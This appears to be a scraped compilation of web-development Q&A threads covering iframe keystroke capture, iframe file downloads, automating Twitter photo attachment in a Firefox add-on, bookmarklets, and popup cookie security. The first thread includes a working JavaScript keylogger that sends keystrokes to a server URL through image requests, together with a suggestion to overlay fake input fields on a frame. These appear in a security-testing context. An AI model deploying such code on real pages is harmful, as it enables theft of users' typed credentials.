We Keep Coding

Can a javascript on parent page log keystrokes inside an iframe?

I am trying to analyze the possibility of accessing keystrokes from an iframe using a javascript running on the parent page. The potential attack which I am looking to verify is Cross Frame Scripting.
From the OWASP page, I read that the listener in parent page would get notified only if the keystroke events are from the parent page itself and not the iframe.
Is that always the case?
If the framed content is of same origin,
would any of the browsers behave differently?
I have confirmed on
Chrome that this attack doesn't work. But is there any alternate way
someone can achieve this?
This is the javascript running on my parent.
var keys='';
var url = 'http://localhost:8883/key?c=';
document.onkeypress = function(e) {
get = window.event?event:e;
key = get.keyCode?get.keyCode:get.charCode;
key = String.fromCharCode(key);
keys+=key;
}
window.setInterval(function(){
if(keys.length>0) {
new Image().src = url+keys;
keys = '';
}
}, 1000);

If you make a div over a frame, user may enter at least one character that you can catch. Or even a whole word, if that user writes fast enough :)
You even can simulate an entire field in your div, exact at the place of the original field. That's why every online payment system require not to be in a frame.

Use iframe to download file

Currently, I'm downloading the file using POST form:
var form = document.createElement("form");
var element1 = document.createElement("input");
var element2 = document.createElement("input");
form.target = "_blank";
form.method = "POST";
form.action = path;
element1.value = authService.getToken();
element1.name = "Authorization";
form.appendChild(element1);
element.append(form);
form.submit();
element.empty();
In order to prevent current page's location change when the server doesn't send correct headers, I open set the form's target to "_blank", so that if an error occurs it is shown on the other page. But the problem here is that browsers block new tabs by default, and I don't want to force users to allow such behaviour. I've read that also there an option to specify iframe's id as a target. Is it going to work in my case? How can I then read an error from the iframe to show to a user?

I am working on this very problem right now. The best answer I've found for returning state from the iframe is to set a cookie in it. The cookie's name should ideally be unique to the particular download event (I'm using a guid), known to both pages, and its value can be an error message or empty for success. The parent page then polls for this cookie in javascript. I make sure that the download url always renders the cookie if there's an error, because it's hard to learn anything else about the state of the iframe. On success, the JS poller can hide a ”your download will begin shortly" message, and delete the cookie. On failure, do those and also show the error.
The big unanswered question is how well it'll work in mobile browsers. Popups are a terrible choice with them because they mostly default to blocking them with no prompt... but nevertheless there's a jQuery plugin out there for iframe downloads which, when it sees mobile, falls back to popups. That scares me.

Twitter Programmatically Add Photo

I made a crop screenshot and upload addon for Firefox. I would like to bring a feature that allows user to tweet the images.
Manually (as human does it) the process is this:
Open twitter.com (if not signed in tell user to sign in)
Click "new tweet" this is done
Attach images by doing "Add photo" and browse to file
This is gif of this process:
Then I focus the tab and focus the tweet input box
So user can type the message, then "whose in the photos" if they want, then click tweet. The great thing is with this method, the images have not bothered twitter servers, as the images are not uploaded until users final write off, when they click the "Tweet" button. So user has chance to decide to click X to remove a screenshot attached before hitting "Tweet". I find this way very friendly to the user and to the twitter servers. (If there is a file size limit that can be attached ill do that check in my addon and let user know it cant go in)
The problem
I am trying to automate steps 1-4. I can do 1, 2, and 4 perfectly.
I am trying to programmatically do step 3. It seems Twitter does not use the input[type=file].files html5 api, they are doing some custom javascript. Does anyone know how I can programtically add in images? I have full privelaged javascirpt code access as this is a Firefox addon.
One big reason I cant tell user to go attach themslves is these image are stored in memory for performance, not in file, so I need to attach them programtically.
Code I tried (HTML5 FileList API)
It uses the mozSetFileArray defined here: https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement and its brother mozSetFileNameArray here: https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement/mozSetFileNameArray
// Step 1 - Open twitter.com (for testing purposes, twitter.com is open in tab 7 so I dont load it here)
var aContentWindow = gBrowser.tabContainer.childNodes[6].linkedBrowser.contentWindow; // gets window of tab 7
var aContentDocument = aContentWindow.document;
// Step 2 - Open tweet modal
var btnNewTweet = aContentDocument.getElementById('global-new-tweet-button');
console.info('btnNewTweet:', btnNewTweet);
if (!btnNewTweet) {
throw new Error('global tweet button not found, probably not logged in');
}
btnNewTweet.click();
// Step 3 - Attach two File instances for test purposes (in production will attach Blob)
var inputAddPhoto = aContentDocument.getElementById('global-tweet-dialog').querySelector('input[type=file]');
console.info('inputAddPhoto:', inputAddPhoto, inputAddPhoto.mozGetFileNameArray);
if (!inputAddPhoto) {
throw new Error('add photo button not found! i have no idea what could cause this');
}
var newFiles = [];
var myFile1 = new File('C:\\Users\\Vayeate\\Pictures\\Screenshot - Tuesday, August 11, 2015 6-33-58 AM.png'); // using local file for testing
var myFile2 = new File('C:\\Users\\Vayeate\\Pictures\\Screenshot - Tuesday, August 11, 2015 6-38-08 AM.png'); // using local file for testing
newFiles.push(myFile1);
newFiles.push(myFile2);
inputAddPhoto.mozSetFileArray(newFiles);
// Step 4 - Focus message field
// var richInputTweetMsg = aContentDocument.getElementById('tweet-box-global');
// richInputTweetMsg.focus(); // not needed because as when the modal opens twitter puts focus into here anways
// Step 5 - Done, now user can choose to type message, tag "whose in photo", and remove previews. The great thing is with this method, the images have not bothered twitter servers, the images are not uploaded until users final write off, when they click the "Tweet" button
Inspection
I did some debugger inspection, I put a breakpoint on drop, and found that it comes in here, there's some kind of add function.

Bookmarklet target page DOM traversal. How?

How do I make a bookmarklet that places something into a field and submits the form?
I think along these lines:
1)var p = document.open(http://site.com/form.htm)
2) var h = p.innerHTML
3) var f = h.getElementById('formfield')
now how do I get the URL of the current page to become the value for 'formfield'?

var p = document.open(http://site.com/form.htm)
This won't work. You may be thinking of window.open. If you use window.open, it will only be useful for your purposes if the bookmarklet is run from the same domain. If run from any other domain, it will open the window, but you won't be able to do anything else with the document in that newly opened window.
var h = p.innerHTML
This does nothing helpful in your case. It just returns a string of text.
var f = h.getElementById('formfield')
This is not correct because it uses "h", which isn't correct. What you probably want is this...
var w = window.open('http://site.com/form.htm');
// need code that will check if window is done loading before you use next line!
w.document.getElementById('formfield').value = window.location;
If you use the bookmarklet on the page with the form, you only need this:
document.getElementById('formfield').value = window.location;
If you want to open the window to another domain, enter a form value, and submit the form - This can not be done with a bookmarklet. A bookmarklet faces the same restrictions as any other javascript in a page. This is for security to prevent any web page on the internet from trying to take control of your browser and do things on other sites as you. Your only reasonable option in this case would be to create/use a browser addon/extension.

If you are looking to put the current page's URL into formfield, this is how it could be accomplished:
f.value = window.location;

If I understand correctly, you want to submit the current URL and maybe some other data to your server using a bookmarklet.
I would do it this way:
Append your form to the current DOM using JavaScript. The form should be hardcoded in the bookmarklet.
Populate the form, you are on the guest page now, same domain.
Submit the form, maybe using a target="_blank" for the result.
You can't use Ajax instead of a form to submit your data because of crossdomain restrictions.

Cookie Security of Pops Up Window

I have been to some css/html/js discussing board which provide a text box to enter the html and a "Run it!" button to run the html in new pops up window.
I want to make one also, which is easy in jQuery:
function try_show_result() {
var code = $("#try-input").val();
if (code !== "") {
var newwin = window.open('','','');
newwin.opener = null; // 防止代ç 修改主页
newwin.document.write(code);
newwin.document.close();
}
}
But then I found a security problem: the pops up window has all the abilities of running an arbitrary javascript. So that when another authenticated user runs a given piece of code on the page, then it could stealing cookies or access some url that is only for the specified user only through ajax posts.
Is there an easy way to avoid this?
Update: I added newwin.document.cookie="" before open the window, not sure if this is better.

Is there an easy way to avoid this?
No
That is why Facebook went out and wrote their own version of JavaScript [FBJS].